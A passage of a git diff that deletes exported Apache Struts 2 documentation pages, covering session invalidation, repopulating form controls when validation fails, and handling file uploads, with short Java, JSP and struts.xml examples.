-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How do we get invalidate the session</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-do-we-get-invalidate-the-session.html">How do we get invalidate the session</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How do we get invalidate the session</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=60774">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=60774">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=60774">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=60774">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=60774">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=60774">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>See <a shape="rect" href="how-do-we-get-access-to-the-session.html">How do we get access to the session</a> for ways to retrieve the session.</p>
-
-<p>One way of invalidating a session; contributed by Ray Clough.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Session Invalidation</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-// Code fragment from class implementing SessionAware containing the 
-// session map in a instance variable "session". Attempting to invalidate 
-// an already-invalid session will result in an IllegalStateException.
-if (session instanceof org.apache.struts2.dispatcher.SessionMap) {
-    try {
-        ((org.apache.struts2.dispatcher.SessionMap) session).invalidate();
-    } catch (IllegalStateException e) {
-        logger.error(msg, e);
-    }
-}
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-do-we-repopulate-controls-when-validation-fails.html b/content/docs/how-do-we-repopulate-controls-when-validation-fails.html
deleted file mode 100644
index 0664303..0000000
--- a/content/docs/how-do-we-repopulate-controls-when-validation-fails.html
+++ /dev/null
@@ -1,310 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How do we repopulate controls when validation fails</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-do-we-repopulate-controls-when-validation-fails.html">How do we repopulate controls when validation fails</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How do we repopulate controls when validation fails</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14095">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14095">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14095">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14095">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14095">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14095">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>When validation fails, we typically forward back to the same server page, so that the errors can be presented, and so that the client can fix the problem and resubmit the form. Of course, aside from the errors, we may also need to present rich controls, like drop down lists. </p>
-
-<p>If we try to populate rich controls in an <code>Action</code> method, like <code>input</code> or <code>execute</code>, and validation fails, the method will not be invoked, and the controls are not populated. Two alternative ways to populate controls are the <code>Preparable</code> interface and the <code>action</code> tag. </p>
-
-<h3 id="Howdowerepopulatecontrolswhenvalidationfails-Preparableinterface">Preparable interface</h3>
-
-<p>Instead of populating controls in an <code>Action</code> method, implement the <code>Preparable</code> interface, and use a <code>prepare</code> method instead. The <code>prepare</code> method is called before validation, so it validation fails, we still have a chance to populate controls (or whatever). </p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Input.jsp</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;%@ taglib prefix="s" uri="/struts-tags" %&gt;
-&lt;s:form&gt;
-&lt;s:select
-   tooltip="Choose Your Favorite Language"
-   label="Favorite Language"
-   list="languages"
-   name="language"
-   listKey="key"
-   listValue="description"
-   emptyOption="true"
-   headerKey="None"
-   headerValue="None"/&gt;
-&lt;s:submit&gt;
-&lt;/form&gt;
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Input.java (prepare)</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-    public String prepare() {
-        languages.add(new Language("EnglishKey", "English Language"));
-        languages.add(new Language("FrenchKey", "French Language"));
-        languages.add(new Language("SpanishKey", "Spanish Language"));
-        return SUCCESS;
-    }
-
-    List languages = new ArrayList();
-    public List getLanguages() {
-        return languages;
-    }
-
-    String language;
-    public void setLanguage(String value) {
-        language = value;
-    }
-    public String getLanguage() {
-        return language;
-    }
-
-    public static class Language {
-
-        public Language(String key, String description) {
-            this.key = key;
-            this.description = description;
-        }
-
-        String key;
-        public String getKey() {
-            return key;
-        }
-
-        String description;
-        public String getDescription() {
-            return description;
-        }
-    }
- }
-</pre>
-</div></div>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> If a custom stack is being used, be sure to put the <a shape="rect" href="prepare-interceptor.html">Prepare Interceptor</a> before the <a shape="rect" href="validation-interceptor.html">Validation Interceptor</a>.</p>
-
-<h3 id="Howdowerepopulatecontrolswhenvalidationfails-actiontag">action tag</h3>
-
-<p>Another solution is to use the <a shape="rect" href="action.html">action</a> tag to execute an Action in place.</p>
-
-<p>One way to use this tag is to put a control on a "snippet" JSP that is rendered as a result of an Action that does nothing but create the object that populates the control. The action tag sets "executeresult=true", then control markup will be "included" into the page (like a tile), after the action executes.</p>
-
-<p>In effect, <code>exectuteResult</code> actions can be used like a tag that can run its own action before emitting the markup.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Input.jsp</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;%@ taglib prefix="s" uri="/struts-tags" %&gt;
-&lt;s:form&gt;
-   &lt;s:action name="Languages" executeResult="true"/&gt;
-   &lt;s:submit/&gt;
-&lt;/s::form&gt;
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Languages.jsp</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;%@ taglib prefix="s" uri="/struts-tags" %&gt;
-&lt;s:select
-   tooltip="Choose Your Favorite Language"
-   label="Favorite Language"
-   list="languages"
-   name=language"
-   listKey="key"
-   listValue="description"
-   emptyOption="true"
-   headerKey="None"
-   headerValue="None"/&gt;
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Languages.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class Languages extends ActionSupport {
-    public String execute() {
-        languages.add(new Language("EnglishKey", "English Language"));
-        languages.add(new Language("FrenchKey", "French Language"));
-        languages.add(new Language("SpanishKey", "Spanish Language"));
-        return SUCCESS;
-    }
-
-    List languages = new ArrayList();
-    public List getLanguages() {
-        return languages;
-    }
-
-    public static class Language {
-        String description;
-        String key;
-
-        public Language(String key, String description) {
-            this.key = key;
-            this.description = description;
-        }
-
-        public String getKey() {
-            return key;
-        }
-
-        public String getDescription() {
-            return description;
-        }
-
-    }
-
-
-}
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>struts.xml (Input, Languages)</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="Input"&gt;
-    &lt;result&gt;/app/Input.jsp&lt;/result&gt;
-&lt;/action&gt;
-&lt;action name="Languages" class="app.Languages"&gt;
-    &lt;result&gt;Languages.jsp&lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div>
-
-<p>The advantage being that the "Languages" action could be dropped in wherever the "Languages" control is needed, and that the Action for the form doesn't need to know how to populate the Languages control.</p>
-
-<p>Now, the Action is going to be hit every time the page is rendered, but so long as you are using a caching data access layer, like IBATIS or Hibernate, it will end up being a memory-to-memory transfer, rather than a database access.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-do-we-upload-files.html b/content/docs/how-do-we-upload-files.html
deleted file mode 100644
index eb068d7..0000000
--- a/content/docs/how-do-we-upload-files.html
+++ /dev/null
@@ -1,236 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How do we upload files</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-do-we-upload-files.html">How do we upload files</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How do we upload files</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13827">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13827">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13827">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13827">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13827">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13827">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>You can obtain the MultipartRequestWrapper from the ServletActionContext or by utilizing the <code>fileUpload</code> interceptor. The <code>fileUpload</code> interceptor is preferred.</p>
-
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>  See the <a shape="rect" href="file-upload.html">file upload page</a> for more examples and advanced configuration</p></div></div>
-
-<h2 id="Howdoweuploadfiles-AsktheServletActionContext">Ask the ServletActionContext</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-MultipartRequestWrapper multipartRequest = ((MultipartRequestWrapper)ServletActionContext.getRequest())
-</pre>
-</div></div>
-<p>The MultipartRequestWrapper provideds access methods such as <code>getFiles</code>, <code>getFile</code>, <code>getContentType</code>, <code>hasErrors</code>, <code>getErrors</code>, and so forth, so that you can process the file uploaded.</p>
-
-<h2 id="Howdoweuploadfiles-UtilizethefileUploadInterceptor">Utilize the fileUpload Interceptor</h2>
-
-<p><img class="emoticon emoticon-yellow-star" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/star_yellow.png" data-emoticon-name="yellow-star" alt="(star)"> _Preferred_</p>
-<ul><li>Ensure that {{fileUpload }} Interceptor is included in the Action's stack.
-	<ul><li><img class="emoticon emoticon-information" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/information.png" data-emoticon-name="information" alt="(info)"> <em>The default stack already includes {{fileUpload }}.</em></li></ul>
-	</li><li>Ensure that the HTML form sets the <code>enctype</code> and specifies on or more file type inputs.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;form name="myForm" enctype="multipart/form-data"&gt;
-     &lt;input type="file" name="myDoc" value="Browse ..." /&gt;
-     &lt;input type="submit" /&gt;
-  &lt;/form&gt;
-</pre>
-</div></div>
-<ul><li>Ensure that the Action provides one or more fileUpload mutator methods, with names that correspond to name of the file type input.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public void setMyDoc(File myDoc)
-public void setMyDocContentType(String contentType)
-public void setMyDocFileName(String filename)
-</pre>
-</div></div>
-<ul><li>The Action may also provide the corresponding accessor methods.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public File getMyDoc()
-public String getMyDocContentType()
-public String getMyDocFileName()
-</pre>
-</div></div>
-
-<h3 id="Howdoweuploadfiles-Handlingmultiplefiles">Handling multiple files</h3>
-
-<p>When multiple files are uploaded by a form, the files are represented by an array.</p>
-
-<p>Given:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;form name="myForm" enctype="multipart/form-data"&gt;
-      &lt;input type="file" name="myDoc" value="Browse File A ..." /&gt;
-      &lt;input type="file" name="myDoc" value="Browse File B ..." /&gt;
-      &lt;input type="file" name="myDoc" value="Browse File C ..." /&gt;
-      &lt;input type="submit" /&gt;
-   &lt;/form&gt;
-</pre>
-</div></div>
-<p>The Action class can define file handling methods that accept an array.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public void setMyDoc(File[] myDocs)
-public void setMyDocContentType(String[] contentTypes)
-public void setMyDocFileName(String[] fileNames)
-</pre>
-</div></div>
-<p>The uploaded files can be handled by iterating through the appropriate array.</p>
-
-<h3 id="Howdoweuploadfiles-ExtraInformation">Extra Information</h3>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Property </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Default </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> struts.multipart.parser </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> Commons FileUpload </p></td></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> struts.multipart.saveDir </p></td><td colspan=" [...]
-
-<p>@see struts.properties<br clear="none">
-@see org.apache.struts2.dispatcher.FilterDispatcher#doFilter(SerlvetRequest, ServletRepsonse, FilterChain)<br clear="none">
-@see org.apache.struts2.dispatcher.DispatcherUtil#wrapRequest(HttpServletRequest, SerlvetContext)<br clear="none">
-@see org.apache.struts2.dispatcher.multipart.MultipartRequestWrapper<br clear="none">
-@see org.apache.struts2.interceptor.FileUploadInterceptor</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
